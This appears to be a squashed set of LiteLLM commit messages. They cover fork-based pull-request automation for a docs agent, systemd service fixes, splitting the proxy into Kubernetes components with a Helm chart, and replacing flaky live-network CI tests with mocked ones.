The cron host has no write access to BerriAI/litellm-docs by design. PRs
now open from a long-lived fork at agent-shin/litellm-docs:
- run_daily.sh validates AGENT_SHIN_GITHUB_TOKEN up front (failing 30 min
into a run because the env file is missing one line is wasted spend).
- The pre-commit shim adds a transient `fork` remote with the token
embedded in the URL, force-pushes the branch, then removes the remote
so the token never lives on disk.
- `gh pr create --head agent-shin:<branch>` opens the cross-repo PR
with GH_TOKEN scoped to AGENT_SHIN_GITHUB_TOKEN. A second
`gh pr edit --add-reviewer` runs under GITHUB_TOKEN (mateo-berri's
PAT) because agent-shin's PAT lacks RequestReviewsByLogin permission
on the upstream repo.
- PR_REVIEWERS env var (default `mateo-berri`) controls who gets
auto-tagged; empty disables.
Also bring litellm-compat-matrix.service to working state:
- Hardcode `/home/mateo` paths everywhere %h was used. systemd expands
%h against the *manager's* home (/root for PID 1) in *system* units,
not against the User= directive. The mismatch made ReadWritePaths
point at /root/.cache and the namespace setup failed with
status=226/NAMESPACE before run_daily.sh ever started.
- Explicit Environment=PATH so `uv` and `claude` under
~/.local/bin are visible to the up-front command-presence check;
systemd's default PATH excludes them.
- Expand ReadWritePaths to include ~/.claude (CLI per-session state)
and ~/.config/gh (gh host config fallback); both are written under
ProtectHome=read-only.
env.example refreshed: drop AWS_ACCESS_KEY_ID/SECRET +
GOOGLE_APPLICATION_CREDENTIALS in favor of AWS_BEARER_TOKEN_BEDROCK and
ADC via the VM's metadata server; document AGENT_SHIN_GITHUB_TOKEN,
FORK_OWNER/FORK_REPO overrides, and VERTEXAI_LOCATION=global.
Split the monolithic LiteLLM proxy into independently scalable Kubernetes components to allow separate horizontal scaling of the LLM data plane and management API surfaces
- Add DatabaseURLSettings pydantic-settings model that assembles DATABASE_URL (and optional DATABASE_URL_READ_REPLICA) from discrete DATABASE_* env vars before Prisma initializes, supporting both IAM token auth (minting short-lived RDS tokens) and password auth; replaces the CLI-only path that componentized entrypoints bypass
- Add gateway component (port 4000) that trims the proxy route table to the LLM data-plane surface (chat, embeddings, completions, audio, realtime, provider passthroughs, health/metrics) via an allowlist applied inside the lifespan context so plugin-registered routes are captured
- Add backend component (port 4001) that exposes the management/admin surface (keys, users, teams, orgs, spend analytics, model management, SSO, audit logs) with a complementary allowlist
- Add ui component — Next.js static export served by nginx (port 3000) with RSC payload routing, asset prefix aliasing, and SPA fallback for dashboard routes
- Add migrations component with dedicated Dockerfile that runs prisma migrate deploy via a Helm pre-install/pre-upgrade Job, eliminating per-pod schema contention on the Prisma advisory lock
- Add Helm chart (helm/litellm) with separate Deployments, Services, HPAs, and ConfigMap for each component; shared _helpers.tpl emits DATABASE_*, IAM_TOKEN_DB_AUTH, REDIS_*, and DISABLE_SCHEMA_UPDATE env vars from chart values; ingress template routes traffic to the correct component by path prefix
- Add comprehensive tests for DatabaseURLSettings covering IAM auth, password auth, read replica fallbacks, operator-pinned URL preservation, and percent-encoding; add coverage test asserting gateway + backend allowlist union equals the full proxy route set
- Add pydantic-settings>=2.14.1 as a proxy extra dependency and update liccheck allowlist
Co-authored-by: Yassin Kortam <yassinkortam@g.ucla.edu>
Resolve conflicts in the five unrelated CI-flake fixes I previously landed
on this branch -- staging shipped stronger versions (mocked HTTP for the
Fireworks tests, mocked image-fetch for the Gemini size-limit test, switched
the openapi-compliance test to the Interaction response schema instead of
dropping the assertion). Take staging's version of all five files and drop
my now-unreachable 429-skip lines from the Gemini test that the auto-merge
left behind.
Two P2 nits flagged by Greptile on PR 28036:
1. _build_completion_kwargs() defaulted vertex_project to "vertex-check-481318"
when VERTEX_PROJECT was unset. That value is a specific GCP project that
doesn't belong to this repo, so if the env-var skip guard were ever
bypassed (misconfig, direct helper call), the test would silently issue
calls to a foreign project rather than failing loudly. Drop the fallback
and read os.environ["VERTEX_PROJECT"] directly, mirroring how
AZURE_FOUNDRY_* are handled.
2. _build_messages_kwargs() was a one-liner that returned the result of
_build_completion_kwargs() unchanged -- a dead abstraction with one
caller. Inline at the _call_messages call site and delete the helper.
litellm.ImageFetchError is a subclass of BadRequestError, so when
Wikimedia returns 429 the pytest.raises(ImageFetchError) block matches
and swallows the exception -- the outer try/except never fires. Drop the
try/except and check the captured error message for "Status code: 429"
after the raises block, calling pytest.skip in that case. Same intent,
right control flow.
Four pre-existing flakes on main that gate this branch's workflow even
though they're unrelated to the reasoning_effort_grid suite:
1. tests/local_testing/test_completion.py::test_completion_fireworks_ai
2. tests/local_testing/test_completion_cost.py::test_completion_cost_fireworks_ai[fireworks_ai/llama-v3p3-70b-instruct]
3. tests/llm_translation/test_fireworks_ai_translation.py::test_document_inlining_example[False]
The Fireworks-hosted `llama-v3p3-70b-instruct` deployment is currently
returning 404 "Model not found, inaccessible, and/or not deployed".
These tests pass when the model is deployed; the issue is upstream
capacity, not our code path. Wrap the live call in a try/except that
pytest.skip's on litellm.NotFoundError so a Fireworks deployment hiccup
no longer fails CI for unrelated PRs.
4. tests/llm_translation/test_gemini.py::test_gemini_image_size_limit_exceeded
The test fetches the 32MB "Blue Marble 2002" image from Wikimedia to
exercise the 50MB image-size cap. CI runners share an IP pool with
noisy traffic, so Wikimedia routinely returns HTTP 429. The size-limit
check never gets a chance to fire. Catch the 429 BadRequestError and
pytest.skip in that case.
None of these belong on this PR conceptually, but they're included per
request to unblock the workflow before morning.
The anthropic_messages route wraps client-side BadRequestError as
AnthropicError (a BaseLLMException subclass) with status_code=400, so
"except BadRequestError" missed those cells and they fell through to the
generic Exception arm, returning 500 instead of the expected 400.
Replace the isinstance-on-BadRequestError check with a tiny classifier
that prefers BadRequestError membership, then falls back to the exception's
status_code attribute (set by every BaseLLMException subclass), then 500.
Apply to both _call_chat and _call_messages for consistency.
Fixes the 13 CircleCI llm_translation_testing failures on
bedrock_invoke_messages cells where the effort was disabled / invalid /
empty / xhigh-on-unsupported / max-on-unsupported.
Two CI failures, both pre-existing in different ways:
1. reasoning_effort_grid: all 33 bedrock_invoke_messages cells failed with
AttributeError("module 'litellm' has no attribute 'messages'"). litellm
exposes the async Anthropic Messages entrypoint as litellm.anthropic_messages
(via "from .llms.anthropic.experimental_pass_through.messages.handler
import *" in litellm/__init__.py), not litellm.messages.acreate. Swap
the call.
2. tests/test_litellm/interactions/test_openapi_compliance.py::TestResponseCompliance::test_interaction_response_fields
asserts the live Google spec contains "steps". Google's spec has churned
through "outputs" -> "steps" -> neither, and presently carries neither.
The test broke on main as soon as upstream dropped "steps"; pulling the
key off the assert list realigns the test with the live schema. Re-add
the per-turn output field once upstream stabilizes on a name.
The openapi-compliance fix doesn't belong to this PR conceptually but is
included here per request to unblock CI before the morning.
The Content-Length header check in _process_image_response rejects the
image before the body is streamed, so the mock body never needs to be
materialized. Use an empty body instead of b"x" * 100MB (addresses
greptile/cursor review feedback).
Mock the image fetch instead of downloading a 50MB+ image from
upload.wikimedia.org. The runner was intermittently rate-limited
(HTTP 429), so the code raised "Unable to fetch image ... Status
code: 429" and the size-limit assertions failed even though
pytest.raises(litellm.ImageFetchError) still matched.
Mirror the established LargeImageClient pattern in
tests/test_litellm/litellm_core_utils/test_image_handling.py: stub
litellm.module_level_client with a response whose Content-Length
exceeds the 50MB limit and bypass SSRF validation, so the
size-limit rejection path is exercised deterministically with no
external network dependency.
test_completion_fireworks_ai and test_completion_cost_fireworks_ai
made real Fireworks calls and broke whenever Fireworks rotated its
serverless catalog (no externally-verifiable model list exists).
They also asserted nothing — just printed.
Mock the HTTP post and assert real behavior instead: the request is
built with the right model/messages and the OpenAI-compatible
response parses back; the cost path yields a non-zero cost against
the local cost map. No network, no model dependency, stronger than
the old smoke checks.
